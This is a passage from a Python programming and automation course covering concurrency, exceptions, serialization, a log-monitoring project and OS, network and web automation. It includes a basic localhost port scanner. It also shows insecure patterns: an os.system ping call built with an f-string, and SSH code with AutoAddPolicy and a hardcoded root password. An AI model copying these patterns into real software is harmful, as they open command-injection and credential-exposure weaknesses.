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def work(): 

    print("Working...") 

 

p = Process(target=work) 

p.start() 

p.join() 

 

Used for: 

●​ AI workloads​
 

●​ ML training​
 

●​ Video processing​
 

●​ Heavy computations​
 

●​ Parallel tasks​
 

 

⭐ 54. ASYNC vs THREADS vs PROCESSES — FINAL 

SUMMARY 
Method Best for 

async/await network I/O, 1M requests 

multithreading moderate I/O 
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multiprocessing CPU-heavy tasks 

Your signature CyberDudeBivash summary: 

✔ Async → Scalability​
 ✔ Threads → Simplicity​
 ✔ Processes → Raw power 

 

⭐ 55. PERFORMANCE TUNING (Professional Level) 

✔ Use list comprehensions 

✔ Avoid unnecessary loops 

✔ Use built-in functions 

✔ Use generators for large data 

✔ Use caching 

✔ Use concurrency 

✔ Avoid global lookups 

✔ Profile code 

 

⭐ 56. PROFILING PYTHON CODE 

✔ time module 

import time 

start = time.time() 

# code 

end = time.time() 
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print(end - start) 

 

✔ cProfile (full profiler) 

import cProfile 

cProfile.run("main()") 

 

✔ memory profiler 

pip install memory_profiler 

 

from memory_profiler import profile 

 

@profile 

def func(): 

    ... 

 

 

⭐ 57. PYTHON FILE SYSTEM — Professional Deep Dive 

import os 

os.listdir() 

os.getcwd() 

os.makedirs("folder") 

os.remove("file.txt") 

os.rename("old", "new") 
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shutil — high-level operations 

import shutil 

 

✔ copy files​
 ✔ move files​
 ✔ delete tree 

Used heavily in: 

●​ automation​
 

●​ DevOps​
 

●​ scripts​
 

●​ installers​
 

●​ deployment systems​
 

 

⭐ 58. CONTEXT MANAGERS — Real Engineering 

with open("a.txt") as f: 

    print(f.read()) 

 

Behind the scenes: 

__enter__() 
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__exit__() 

 

You can create your own: 

class Log: 

    def __enter__(self): 

        print("Start") 

    def __exit__(self, *a): 

        print("End") 

 

 

⭐ 59. PYTHON EXECUTION OPTIMIZATION — Low-Level 

Techniques 

✔ Use PyPy (JIT)​
 ✔ Use Cython​
 ✔ Use NumPy (C-optimized arrays)​
 ✔ Use caching​
 ✔ Use functools.lru_cache 

Example: 

from functools import lru_cache 

 

@lru_cache(maxsize=None) 

def fib(n): 

    if n < 2: 

        return n 
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    return fib(n-1) + fib(n-2) 

 

 

⭐ 60. MEMORY OPTIMIZATION TECHNIQUES 

✔ Use generators​
 ✔ Use slots​
 ✔ Use arrays​
 ✔ Use local variables​
 ✔ Avoid unnecessary objects 

Example: 

class User: 

    __slots__ = ['name','age'] 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 6) 

61. MASTER-LEVEL EXCEPTIONS (Understanding Real 

Errors Like an Engineer) 

Python has built-in exceptions and you can create custom ones. 

 

⭐ 61.1 Common Built-In Exceptions 

Exception Meaning 

ValueError Wrong value 

TypeError Wrong data type 
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KeyError Missing dictionary key 

IndexError Index out of range 

ZeroDivisionError Division by zero 

IOError File cannot open 

OSError System-related error 

ImportError Module missing 

AssertionError assert failed 

 

⭐ 61.2 Try / Except / Else / Finally (Full Explanation) 

try: 

    risky_operation() 

except ValueError: 

    print("Bad value") 

except Exception as e: 

    print("Error:", e) 

else: 

    print("No errors!") 

finally: 

    print("Cleanup executed") 

 

✔ else 

Runs only when no exception occurs. 

✔ finally 

Runs always, error or no error. 
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⭐ 61.3 Raising Exceptions Manually 

if age < 0: 

    raise ValueError("Age cannot be negative") 

 

 

⭐ 61.4 Custom Exceptions 

class InvalidPassword(Exception): 

    pass 

 

 

⭐ 62. SERIALIZATION — JSON, PICKLE, YAML 

Serialization converts objects → files or strings. 

Used in: 

✔ API responses​
 ✔ Config files​
 ✔ Saving models​
 ✔ Web dev​
 ✔ Cybersecurity tools​
 ✔ Automation 

 

⭐ 62.1 JSON (Most Important) 

import json 
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Serialize: 

data = {"name": "Bivash"} 

js = json.dumps(data) 

 

Deserialize: 

obj = json.loads( js) 

 

File: 

json.dump(data, open("file.json","w")) 

json.load(open("file.json")) 

 

 

⭐ 62.2 PICKLE (Python object serialization) 

Pickle saves entire Python objects, but is NOT safe from malicious input. 

import pickle 

pickle.dump(obj, open("f.pkl","wb")) 

obj = pickle.load(open("f.pkl","rb")) 

 

Used for: 

✔ ML models​
 ✔ Python-only persistence 
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⭐ 62.3 YAML (Great for configs) 

import yaml 

yaml.safe_load(...) 

yaml.dump(...) 

 

Used widely in: 

●​ DevOps​
 

●​ Kubernetes​
 

●​ CI/CD​
 

 

⭐ 63. DATACLASSES — Modern Python’s Best Feature 

Added in Python 3.7+, dataclasses simplify OOP models. 

from dataclasses import dataclass 

 

@dataclass 

class User: 

    name: str 

    age: int 

 

Automatically provides: 
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✔ init​
 ✔ repr​
 ✔ eq​
 ✔ type validation 

 

⭐ 64. TYPE HINTS — Writing Clean, Large-Scale, 

Enterprise Code 

def add(a: int, b: int) -> int: 

    return a + b 

 

Used for: 

✔ auto-completion​
 ✔ bug detection​
 ✔ documentation​
 ✔ refactoring safely 

Modern Python uses PEP 484 type system. 

 

⭐ 65. PYTHON CLI TOOLS — Building Command Line 

Programs 

Use argparse: 

import argparse 

 

p = argparse.ArgumentParser() 

p.add_argument("--name") 
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args = p.parse_args() 

 

print(args.name) 

 

This is how professional CLI tools are built such as: 

●​ AWS CLI​
 

●​ gcloud CLI​
 

●​ kubectl​
 

●​ The tools you’ll create for CyberDudeBivash​
 

 

⭐ 66. ENVIRONMENT VARIABLES (Secrets & Config 

Management) 

import os 

 

token = os.getenv("API_TOKEN") 

 

Set variables: 

Windows: 

set API_TOKEN=12345 
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Linux: 

export API_TOKEN=12345 

 

Used for: 

✔ API keys​
 ✔ DB passwords​
 ✔ Cloud credentials 

 

⭐ 67. PYTHON REPL POWER-USER TRICKS (PRO LEVEL) 

Open REPL: 

python 

 

Then: 

✔ See functions available 

dir(str) 

 

✔ Get documentation 

help(list) 

 

✔ Quick Lambda tests 

(x:=lambda a:a+1)(5) 
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✔ Underscore to get last expression 

>>> 10+20 

30 

>>> _ 

30 

 

✔ Import a module QUICKLY 

import this 

 

 

⭐ 68. PYTEST — The Professional Python Testing 

Framework 

Install: 

pip install pytest 

 

Create file: 

test_app.py 

 

Write tests: 

def test_add(): 

    assert 2+3 == 5 

 

Run: 
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pytest -v 

 

 

⭐ 69. PYTHON CODING STANDARDS & BEST PRACTICES 

(PEP 8) 

Follow: 

●​ snake_case for functions​
 

●​ CamelCase for classes​
 

●​ Constants in UPPERCASE​
 

●​ 4 spaces indentation​
 

●​ max 79 characters per line​
 

●​ meaningful variable names​
 

●​ single return per code block (optional but clean)​
 

●​ avoid global variables​
 

Used in: 

●​ Google Python Style Guide​
 

●​ PEP 8​
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●​ Enterprise development​
 

 

⭐ 70. PYTHON BEST PRACTICES (REAL SOFTWARE 

ENGINEERING) 

✔ Write small functions​
 ✔ Write modular code​
 ✔ Write docstrings​
 ✔ Handle errors properly​
 ✔ Use logging​
 ✔ Create virtual environments​
 ✔ Pin versions in requirements.txt​
 ✔ Use type hints​
 ✔ Follow project structure​
 ✔ Avoid deeply nested logic​
 ✔ Cache expensive computations 

 

⭐ 71. REAL-TIME PYTHON CODING EXAMPLES 

Example 1 — Reading a config file 

import json 

config = json.load(open("config.json")) 

print(config["db"]) 

 

 

Example 2 — API call automation 

import requests 
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res = requests.get("https://api.github.com/users/bivash") 

print(res.json()) 

 

 

Example 3 — Log monitor automation 

with open("server.log") as f: 

    for line in f: 

        if "ERROR" in line: 

            print("Error found:", line) 

 

 

Example 4 — Renaming files in bulk 

import os 

 

for i, file in enumerate(os.listdir()): 

    os.rename(file, f"file_{i}.txt") 

 

 

⭐ 72. MINI PROJECTS (BEGINNER TO INTERMEDIATE) 

These projects help you become job-ready. 
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Project 1 — A CLI Password Strength Checker 

python passcheck.py --password admin123 

 

 

Project 2 — Log Analysis Script 

Parse auth.log and detect repeated failed logins. 

 

Project 3 — File Organizer Script 

Moves files into folders by extension. 

 

Project 4 — Currency Converter with API 

Uses a free currency API. 

 

Project 5 — Basic Portfolio Website 

Using Flask or FastAPI. 

 

⭐ MODULE 1 — PYTHON FOUNDATIONS (PART 7) 

73. REAL-TIME PYTHON PROJECT — Step-by-Step (FULL 

BREAKDOWN) 

This is a complete beginner-to-advanced project, showing exactly how Python is used in real life. 
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⭐ Project: Log Monitoring & Alerting System 

(CyberDudeBivash Edition) 

This is the same style used in: 

●​ SOC tools​
 

●​ DevOps monitoring​
 

●​ SIEM​
 

●​ Threat detection automation​
 

●​ Enterprise log pipelines​
 

We will build: 

✔ Reads live logs​
 ✔ Searches for patterns​
 ✔ Sends alerts​
 ✔ Generates summary reports​
 ✔ Uses modular architecture​
 ✔ Uses OOP, functions, exceptions​
 ✔ Production-grade folder structure 

 

⭐ 73.1 Project Folder Structure 

log_monitor/ 

│ 

├── core/ 

│   ├── reader.py 
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│   ├── analyzer.py 

│   └── alert.py 

│ 

├── utils/ 

│   ├── logger.py 

│   └── config.py 

│ 

├── reports/ 

│   └── summary.txt 

│ 

├── main.py 

└── requirements.txt 

 

✔ core/ 

Handles main business logic. 

✔ utils/ 

Helper modules (logging, config). 

✔ reports/ 

Stores output. 

 

⭐ 73.2 config.py 

LOG_FILE = "server.log" 

ALERT_THRESHOLD = 5 
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ALERT_KEYWORDS = ["ERROR", "FAILED", "CRITICAL"] 

 

 

⭐ 73.3 reader.py 

def read_log(path): 

    with open(path) as f: 

        for line in f: 

            yield line.strip() 

 

Uses a generator → memory efficient. 

 

⭐ 73.4 analyzer.py 

from utils.config import ALERT_KEYWORDS 

 

def analyze(line): 

    for key in ALERT_KEYWORDS: 

        if key in line: 

            return key 

    return None 
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⭐ 73.5 alert.py 

from datetime import datetime 

 

def send_alert(keyword, line): 

    print(f"[{datetime.now()}] ALERT: {keyword} detected → {line}") 

 

Later you can integrate: 

●​ Email alerts​
 

●​ Slack alerts​
 

●​ Telegram bot​
 

●​ SIEM push​
 

 

⭐ 73.6 summary writer 

def write_summary(counts): 

    with open("reports/summary.txt","w") as f: 

        for key, val in counts.items(): 

            f.write(f"{key}: {val}\n") 
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⭐ 73.7 main.py (FULL PIPELINE) 

from core.reader import read_log 

from core.analyzer import analyze 

from core.alert import send_alert 

from utils.config import LOG_FILE, ALERT_THRESHOLD 

 

def main(): 

    counts = {} 

 

    for line in read_log(LOG_FILE): 

        match = analyze(line) 

 

        if match: 

            counts[match] = counts.get(match, 0) + 1 

 

            if counts[match] >= ALERT_THRESHOLD: 

                send_alert(match, line) 

 

    write_summary(counts) 

 

if __name__ == "__main__": 

    main() 

 

96 



 

 

This is a real-world Python program that could run in: 

✔ SOC​
 ✔ Server​
 ✔ DevOps environment​
 ✔ Cloud system​
 ✔ Automation pipeline 

 

⭐ 74. SOFTWARE DESIGN PATTERNS — ADVANCED 

You already learned Singleton, Factory, Strategy, Observer. 

Now we go deeper. 

 

⭐ 74.1 Builder Pattern — Helps Build Complex Objects 

class ReportBuilder: 

    def __init__(self): 

        self.title = "" 

        self.data = [] 

 

    def set_title(self, title): 

        self.title = title 

        return self 

 

    def add_row(self, item): 

        self.data.append(item) 
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        return self 

 

    def build(self): 

        return { 

            "title": self.title, 

            "data": self.data 

        } 

 

Usage: 

rep = (ReportBuilder() 

       .set_title("Daily Log Summary") 

       .add_row("Errors: 10") 

       .build()) 

 

 

⭐ 74.2 Adapter Pattern — Convert Incompatible Interfaces 

class JsonLogger: 

    def log_json(self, data): 

        print("JSON:", data) 

 

class LoggerAdapter: 

    def __init__(self, logger): 

        self.logger = logger 
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    def log(self, message): 

        self.logger.log_json({"msg": message}) 

 

Used in: 

●​ API bridges​
 

●​ Database migrations​
 

●​ Cloud integrations​
 

 

⭐ 74.3 Facade Pattern — Simplify Complex Systems 

class SystemFacade: 

    def __init__(self): 

        self.reader = Reader() 

        self.analyzer = Analyzer() 

        self.alert = Alert() 

 

    def run(self): 

        for line in self.reader.read(): 

            event = self.analyzer.check(line) 

            if event: 

                self.alert.notify(event) 
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Used in BIG APPS to create a clean “entry point.” 

 

⭐ 75. WRITING ROBUST PYTHON CODE (PRO TIPS) 

✔ Validate inputs​
 ✔ Use exceptions properly​
 ✔ Avoid silent failures​
 ✔ Write logs for everything​
 ✔ Keep functions small​
 ✔ Avoid global state​
 ✔ Write reusable modules​
 ✔ Apply DRY & SOLID principles​
 ✔ Use dependency injection​
 ✔ Document everything 

 

⭐ 76. SECURITY BEST PRACTICES FOR PYTHON CODE 

✔ Never hardcode secrets​
 ✔ Never trust user input​
 ✔ Sanitize data​
 ✔ Validate data everywhere​
 ✔ Use HTTPS APIs​
 ✔ Use prepared statements​
 ✔ Limit access to files​
 ✔ Use virtual envs​
 ✔ Keep dependencies updated​
 ✔ Scan dependencies (pip-audit)​
 ✔ Use Bandit (security linter) 

Install: 

pip install bandit 
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bandit -r project/ 

 

 

⭐ 77. PYTHON INTERVIEW PREPARATION 

(FOUNDATION+INTERMEDIATE) 

✔ Basic Interview Questions 

●​ What is Python?​
 

●​ What are lists vs tuples?​
 

●​ Explain dictionary operations.​
 

●​ What is OOP?​
 

●​ What is inheritance?​
 

●​ What are decorators?​
 

 

✔ Intermediate Interview Questions 

●​ What is GIL?​
 

●​ Explain deep copy vs shallow copy.​
 

●​ Explain list comprehension.​
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●​ Difference between @classmethod & @staticmethod.​
 

●​ Difference between iterator vs iterable.​
 

●​ How does Python manage memory?​
 

 

✔ Code Interview Questions 

Reverse string: 

s[::-1] 

 

Detect duplicates in list: 

len(lst) != len(set(lst)) 

 

Count character frequency (dict comprehension): 

{k: s.count(k) for k in set(s)} 

 

 

⭐ 78. MODULE SUMMARY — Everything You Learned So 

Far 

You now fully understand: 

✔ Python language basics​
 ✔ Syntax & structure​
 ✔ Variables, data types​
 ✔ Lists, tuples, dicts, sets​
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 ✔ Loops, conditions​
 ✔ Functions, lambdas​
 ✔ Iterators & generators​
 ✔ Decorators​
 ✔ OOP with deep design​
 ✔ Memory management​
 ✔ Concurrency​
 ✔ Async/await​
 ✔ Packaging​
 ✔ File handling​
 ✔ Logging​
 ✔ Exceptions​
 ✔ Serialization​
 ✔ Dataclasses​
 ✔ Type hints​
 ✔ CLI tools​
 ✔ Testing​
 ✔ Full real-time project​
 ✔ Advanced engineering practices 

This alone is more than what a junior Python developer learns in months. 

 

⭐ 79. MODULE ASSIGNMENTS (Must Complete) 

✔ Assignment 1 

Build your own log analyzer using: 

●​ dict​
 

●​ file handling​
 

●​ functions​
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●​ modules​
 

✔ Assignment 2 

Build a CLI tool called: 

pycalc --sum 10 20 30 

 

✔ Assignment 3 

Create a class representing: 

●​ user​
 

●​ permissions​
 

●​ roles​
 

●​ serialization to JSON​
 

✔ Assignment 4 

Refactor any script using decorators. 

✔ Assignment 5 

Implement multithreading to download 10 URLs at once. 

 

⭐ 80. BONUS RESOURCES FOR DEEP PYTHON 

MASTERY 

●​ Python Docs​
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●​ PEP index​
 

●​ RealPython​
 

●​ TalkPython courses​
 

●​ TestDriven.io​
 

●​ Full Django documentation​
 

●​ FastAPI official docs​
 

●​ AsyncIO official guide 

 

⭐ MODULE 2 — PYTHON SCRIPTING & AUTOMATION 

(PART 1) 

“From Zero to Ultra-Advanced Automation — Real-World, Enterprise-Grade, 

Step-by-Step.” 

This part contains: 

✔ What is automation?​
 ✔ Why Python is #1 for automation​
 ✔ Types of automation​
 ✔ Terminal scripting​
 ✔ OS automation​
 ✔ File system automation​
 ✔ Process automation​
 ✔ Python scripting fundamentals​
 ✔ Best practices for automation scripts​
 ✔ Real-world examples​
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 ✔ Live coding breakdown​
 ✔ First automation mini-project 

By end of Part 1, you’ll already be able to write real automation scripts. 

Let’s GO, macha! 🔥 

 

⭐ 1. What Is Automation? (Crystal Clear Definition) 

Automation is the process of writing programs that: 

●​ perform tasks automatically​
 

●​ reduce manual work​
 

●​ eliminate human error​
 

●​ increase speed​
 

●​ run repeatedly without supervision​
 

Python automation is used in: 

✔ DevOps​
 ✔ Cloud engineering​
 ✔ Cybersecurity​
 ✔ IT operations​
 ✔ Web scraping​
 ✔ API interaction​
 ✔ Log processing​
 ✔ File management​
 ✔ Data pipelines​
 ✔ GUI automation​
 ✔ Test automation​
 ✔ RPA (Robotic Process Automation) 
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Automation = repeatable, predictable, reliable execution. 

 

⭐ 2. Why Python Is the BEST Automation Language 

Python dominates automation because: 

✔ Simple syntax 

Automation requires quick development — Python is readable and fast to write. 

✔ Massive libraries 

For every automation task, Python has a library: 

●​ OS automation → os, shutil​
 

●​ HTTP automation → requests​
 

●​ Browser automation → selenium​
 

●​ Keyboard/mouse automation → pyautogui​
 

●​ API automation → httpx, aiohttp​
 

●​ Testing automation → pytest, unittest​
 

✔ Cross-platform 

Works on: 

●​ Windows​
 

●​ macOS​
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●​ Linux​
 

●​ Cloud servers​
 

✔ High integration 

Python interacts easily with: 

●​ Bash​
 

●​ PowerShell​
 

●​ Docker​
 

●​ Kubernetes​
 

●​ AWS, Azure, GCP​
 

●​ Databases​
 

✔ Perfect for DevOps 

Every major DevOps tool supports Python scripting: 

●​ Jenkins​
 

●​ Ansible​
 

●​ Terraform (via plugins)​
 

●​ Docker​
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●​ Kubernetes​
 

 

⭐ 3. Types of Python Automation 

⭐ 3.1 OS & File Automation 

Files, folders, disk, processes. 

⭐ 3.2 Web Automation 

Scraping, browser control, bots. 

⭐ 3.3 Network Automation 

SSH, FTP, APIs, network scans. 

⭐ 3.4 Cloud Automation 

AWS, GCP, Azure automation. 

⭐ 3.5 DevOps Automation 

CI/CD, Docker, Kubernetes tasks. 

⭐ 3.6 Cybersecurity Automation 

Log monitoring, scanning, detection. 

⭐ 3.7 Testing Automation 

Unit tests, API tests, UI tests. 

⭐ 3.8 AI/ML Workflow Automation 

ETL, training pipelines, inference jobs. 

⭐ 3.9 RPA Automation 

Keyboard, mouse, GUI tasks. 
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⭐ 4. Python Scripting Fundamentals — Your Automation 

Foundation 

Automation scripts require: 

✔ Terminal usage​
 ✔ Shebang lines​
 ✔ File permissions​
 ✔ Arguments parsing​
 ✔ Logging​
 ✔ Error handling​
 ✔ Clean directory structure 

 

⭐ 5. Shebang Line (Linux Automation) 

At the top of your script: 

#!/usr/bin/env python3 

 

Makes script executable: 

chmod +x script.py 

./script.py 

 

 

⭐ 6. Terminal Arguments (argparse) 

Automation ALWAYS needs input parameters. 

import argparse 
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parser = argparse.ArgumentParser() 

parser.add_argument("--name") 

args = parser.parse_args() 

print(args.name) 

 

Usage: 

python tool.py --name CyberDudeBivash 

 

 

⭐ 7. OS Automation — The Most Important Foundation 

os and shutil modules are CORE for automation. 

 

⭐ 7.1 Listing Files 

import os 

print(os.listdir(".")) 

 

 

⭐ 7.2 Creating/Deleting Folders 

os.makedirs("backup_folder", exist_ok=True) 

os.rmdir("old_folder") 
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⭐ 7.3 Renaming Files 

os.rename("old.txt", "new.txt") 

 

 

⭐ 7.4 Moving Files 

import shutil 

shutil.move("file.txt", "archive/") 

 

 

⭐ 7.5 Copying Files 

shutil.copy("a.txt", "b.txt") 

 

 

⭐ 7.6 Checking If File Exists 

os.path.exists("file.txt") 
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⭐ 8. Process Automation (Running Shell Commands) 

Use subprocess: 

import subprocess 

 

out = subprocess.run(["ls", "-l"], capture_output=True, text=True) 

print(out.stdout) 

 

Works on Windows too: 

["cmd", "/c", "dir"] 

 

This is how DevOps engineers automate: 

✔ system checks​
 ✔ service restarts​
 ✔ backups​
 ✔ deployments 

 

⭐ 9. Time-Based Automation (Scheduling) 

⭐ Sleep 

import time 

time.sleep(5) 

 

⭐ Scheduling tasks 

pip install schedule 
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import schedule, time 

 

def job(): 

    print("Running task...") 

 

schedule.every(5).seconds.do( job) 

 

while True: 

    schedule.run_pending() 

    time.sleep(1) 

 

This becomes: 

●​ Cron replacement​
 

●​ Automation workers​
 

●​ Background jobs​
 

 

⭐ 10. Logging Automation Events 

import logging 

 

logging.basicConfig( 
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    filename="automation.log", 

    level=logging.INFO, 

    format="%(asctime)s - %(levelname)s - %(message)s" 

) 

 

logging.info("Task started") 

logging.error("Failure detected") 

 

Automation MUST have logs. 

 

⭐ 11. Error Handling for Automation Scripts 

Never let automation crash silently. 

try: 

    risky_task() 

except Exception as e: 

    logging.error(f"Error: {e}") 

 

 

⭐ 12. FIRST MINI PROJECT — File Organizer Automation 

Automatically organize downloads folder: 
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⭐ 12.1 Steps: 

✔ Scan folder​
 ✔ Identify file types​
 ✔ Move files to type-based folders​
 ✔ Log actions 

 

⭐ 12.2 Project Code 

import os 

import shutil 

 

folder = "downloads" 

 

for file in os.listdir(folder): 

    name, ext = os.path.splitext(file) 

    ext = ext.lower().replace(".", "") 

 

    if not ext: 

        continue 

 

    dest = os.path.join(folder, ext) 

 

    os.makedirs(dest, exist_ok=True) 

    shutil.move(os.path.join(folder, file), dest) 

    print(f"Moved {file} → {ext}/") 
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⭐ 12.3 Real Use Cases 

✔ Organize downloads by extension​
 ✔ Organize documents for office​
 ✔ Manage logs in servers​
 ✔ Manage images for websites​
 ✔ Daily cleanup cron jobs 

 

⭐ 13. SECOND MINI PROJECT — Bulk File Renaming 

import os 

 

for i, file in enumerate(os.listdir()): 

    new = f"file_{i}.txt" 

    os.rename(file, new) 

    print(f"{file} → {new}") 

 

Used in: 

✔ photographers​
 ✔ DevOps teams​
 ✔ security teams​
 ✔ automation engineers 
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⭐ MODULE 2 — PYTHON SCRIPTING & AUTOMATION 

(PART 2) 

⭐ 14. ADVANCED OS AUTOMATION 

Basic OS scripting is useful, but enterprise automation requires deeper concepts: 

✔ Permission handling​
 ✔ Ownership changes​
 ✔ Disk space monitoring​
 ✔ File hashing​
 ✔ Temporary file creation​
 ✔ Environment checks​
 ✔ Process management 

 

⭐ 14.1 Permission Handling 

Linux & macOS: 

import os 

os.chmod("script.sh", 0o755) 

 

Windows: 

Use PowerShell or icacls. 

 

⭐ 14.2 Checking Disk Space 

import shutil 
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total, used, free = shutil.disk_usage("/") 

print(f"Free: {free/1024/1024/1024:.2f} GB") 

 

Useful for: 

✔ backup scripts​
 ✔ cloud servers​
 ✔ logging systems 

 

⭐ 14.3 File Hashing (MD5/SHA256) 

import hashlib 

 

def sha256(file): 

    with open(file,"rb") as f: 

        return hashlib.sha256(f.read()).hexdigest() 

 

print(sha256("test.txt")) 

 

Used in: 

●​ cybersecurity​
 

●​ data integrity​
 

●​ file verification​
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●​ automation pipelines​
 

 

⭐ 14.4 Temporary Files (Automation Standard) 

import tempfile 

 

with tempfile.NamedTemporaryFile(delete=False) as temp: 

    temp.write(b"Hello!") 

 

print(temp.name) 

 

Useful for: 

✔ automation download scripts​
 ✔ scanning scripts​
 ✔ backup processes 

 

⭐ 14.5 Process Automation (CPU, Memory, Processes) 

Install: 

pip install psutil 

 

Code: 

import psutil 
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for p in psutil.process_iter(['pid','name']): 

    print(p.info) 

 

Kill process: 

psutil.Process(1234).terminate() 

 

Restart services, analyze memory leaks — it's all possible. 

 

⭐ 15. NETWORK AUTOMATION (Python for IT, DevOps, 

Security) 

Network automation is one of the highest-paying automation niches. 

We automate: 

✔ SSH​
 ✔ Telnet​
 ✔ SFTP​
 ✔ Network scanning​
 ✔ Port checking​
 ✔ Monitoring servers 

 

⭐ 15.1 Ping Automation 

import os 

 

host = "google.com" 

response = os.system(f"ping -c 1 {host}") 
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if response == 0: 

    print("UP") 

else: 

    print("DOWN") 

 

 

⭐ 15.2 Port Scanner 

import socket 

 

def scan(port): 

    s = socket.socket() 

    s.settimeout(0.5) 

    try: 

        s.connect(("127.0.0.1", port)) 

        print(port, "open") 

    except: 

        pass 

 

for p in range(1,100): 

    scan(p) 
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⭐ 15.3 SSH Automation Using Paramiko 

Install: 

pip install paramiko 

 

Usage: 

import paramiko 

 

client = paramiko.SSHClient() 

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

client.connect("1.2.3.4", username="root", password="pass") 

 

stdin, stdout, stderr = client.exec_command("ls -l") 

print(stdout.read().decode()) 

 

Use cases: 

●​ server management​
 

●​ automated deployments​
 

●​ security audits​
 

●​ log collection​
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⭐ 15.4 SFTP Automation 

sftp = client.open_sftp() 

sftp.get("remote.txt","local.txt") 

sftp.put("local.txt","remote.txt") 

 

 

⭐ 16. WEB AUTOMATION — Requests, Scraping, Data 

Extraction 

Python leads the world in web automation. 

 

⭐ 16.1 HTTP Requests (Easy Automation) 

Install: 

pip install requests 

 

Code: 

import requests 

 

res = requests.get("https://api.github.com/users") 

print(res.json()) 

 

POST request: 
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requests.post(url, data={"a":1}) 

 

 

⭐ 16.2 Web Scraping — BeautifulSoup 

Install: 

pip install beautifulsoup4 

pip install lxml 

 

from bs4 import BeautifulSoup 

import requests 

 

html = requests.get("https://example.com").text 

soup = BeautifulSoup(html,"lxml") 

 

for h in soup.find_all("h1"): 

    print(h.text) 

 

 

⭐ 16.3 Scraping Tables Automatically 

rows = soup.select("table tr") 
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⭐ 16.4 Handling AJAX Websites — Using API inspector 

Open DevTools → Network tab → XHR​
 Find JSON API → Use requests. 

This is professional-level scraping. 

 

⭐ 17. BROWSER AUTOMATION (Selenium & Playwright) 

Browser automation is used in: 

✔ Testing​
 ✔ RPA​
 ✔ Web scraping​
 ✔ Form submissions​
 ✔ Browser bots 

 

⭐ 17.1 Selenium Automation 

Install: 

pip install selenium 

 

Download ChromeDriver → put in PATH. 

 

Basic Script 

from selenium import webdriver 

 

driver = webdriver.Chrome() 
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driver.get("https://google.com") 

 

Search something: 

box = driver.find_element("name","q") 

box.send_keys("CyberDudeBivash") 

box.submit() 

 

 

⭐ 17.2 Playwright — The Modern Automation Beast 

Install: 

pip install playwright 

playwright install 

 

Usage: 

from playwright.sync_api import sync_playwright 

 

with sync_playwright() as p: 

    browser = p.chromium.launch(headless=False) 

    page = browser.new_page() 

    page.goto("https://google.com") 

 

Playwright supports: 
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✔ auto-wait​
 ✔ screenshot testing​
 ✔ parallel automation​
 ✔ browser contexts 

 

⭐ 18. API AUTOMATION — The Most Needed Skill in IT 

Modern automation is API-driven. 

 

⭐ 18.1 GET Request Automation 

import httpx 

 

res = httpx.get("https://api.github.com") 

print(res.json()) 

 

 

⭐ 18.2 Async API Automation (High-Speed) 

import asyncio, httpx 

 

async def fetch(url): 

    async with httpx.AsyncClient() as client: 

        r = await client.get(url) 

        print(r.status_code) 
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asyncio.run(fetch("https://google.com")) 

 

This can fetch 1000+ URLs in seconds. 

 

⭐ 19. REGEX AUTOMATION (Ultra Powerful) 

Use regex for: 

✔ Log scanning​
 ✔ Text extraction​
 ✔ Data cleaning​
 ✔ Validation 

import re 

result = re.findall(r"\d{4}", "The year 2025 is here") 

 

 

⭐ 19.1 Validate Email Example 

pattern = r"^[\w\.-]+@[\w\.-]+\.\w+$" 

 

 

⭐ 20. REAL AUTOMATION WORKFLOWS (High-End) 

Examples: 
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✔ Copy logs → compress → upload to cloud 

✔ Auto-bill download from websites 

✔ Auto-renew SSL certificates 

✔ Auto-classify documents 

✔ Auto-generate reports 

✔ Auto-patch Linux servers 

✔ Auto-detect anomalies in logs 

✔ Auto-monitor cloud servers 

Python is EVERYTHING in modern automation. 

 

⭐ 21. FULL AUTOMATION PROJECT (ADVANCED) 

“Daily File Backup & Log Archiving System” 

We build: 

✔ scan folder​
 ✔ detect new files​
 ✔ back them up​
 ✔ compress them​
 ✔ log all actions​
 ✔ upload optional 

 

⭐ 21.1 Project Code 

import os 

import shutil 

from datetime import datetime 
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src = "data" 

dest = "backup" 

 

os.makedirs(dest, exist_ok=True) 

 

for file in os.listdir(src): 

    src_file = os.path.join(src, file) 

    timestamp = datetime.now().strftime("%Y%m%d_%H%M") 

    backup_name = f"{file}_{timestamp}" 

    dest_file = os.path.join(dest, backup_name) 

 

    shutil.copy(src_file, dest_file) 

    print(f"Backed up {file} → {backup_name}") 

 

 

⭐ 21.2 Add Compression 

shutil.make_archive("backup_zip", "zip", dest) 

 

 

⭐ 21.3 Real Use-Cases: 

✔ Nightly backups​
 ✔ Cloud sync​
 ✔ CI/CD log storage​
 ✔ Security log retention 
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⭐ MODULE 2 — PYTHON SCRIPTING & AUTOMATION 

(PART 3) 

⭐ 22. LARGE-SCALE AUTOMATION PIPELINES (Enterprise 

Level) 

Automation at scale requires you to think like a system designer, not a script writer. 

Real automation pipelines contain: 

✔ Input events​
 ✔ Jobs​
 ✔ Queueing​
 ✔ Retrying tasks​
 ✔ Logging​
 ✔ Parallel execution​
 ✔ API calls​
 ✔ Error management​
 ✔ Storing results​
 ✔ Scheduling 

Examples: 

●​ Auto-scan 10,000 URLs​
 

●​ Auto-generate 500 reports daily​
 

●​ Cloud server monitoring​
 

●​ CI/CD pipeline patching​
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●​ Log ingestion & enrichment​
 

●​ Automated backups​
 

●​ Auto-classification of documents​
 

This is where Python shines as a pipeline engine. 

 

⭐ 23. MULTITHREADED AUTOMATION (High-Speed 

Parallel Tasks) 

Threads help when: 

✔ IO-bound tasks​
 ✔ API calls​
 ✔ HTTP requests​
 ✔ File read/write​
 ✔ Network operations​
 ✔ Web scraping 

Python’s GIL blocks CPU-bound threads but NOT IO-bound threads — perfect for automation. 

 

⭐ 23.1 ThreadPoolExecutor Example 

from concurrent.futures import ThreadPoolExecutor 

import requests 

 

urls = ["https://google.com", "https://bing.com", "https://yahoo.com"] 
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def fetch(url): 

    r = requests.get(url) 

    return url, r.status_code 

 

with ThreadPoolExecutor(max_workers=5) as exe: 

    for result in exe.map(fetch, urls): 

        print(result) 

 

Output: 

("https://google.com", 200) 

("https://bing.com", 200) 

("https://yahoo.com", 200) 

 

Result → 

3× faster execution with minimal effort. 

 

⭐ 24. ASYNCHRONOUS AUTOMATION (10,000+ Tasks in 

Seconds) 

Async = KING of automation. 

Best when: 

✔ Huge number of network calls​
 ✔ Scraping thousands of pages​
 ✔ API polling​
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 ✔ Upload/download pipelines​
 ✔ Cloud automation tasks 

 

⭐ 24.1 Async Example (1000 API calls) 

import asyncio 

import httpx 

 

async def fetch(url): 

    async with httpx.AsyncClient() as client: 

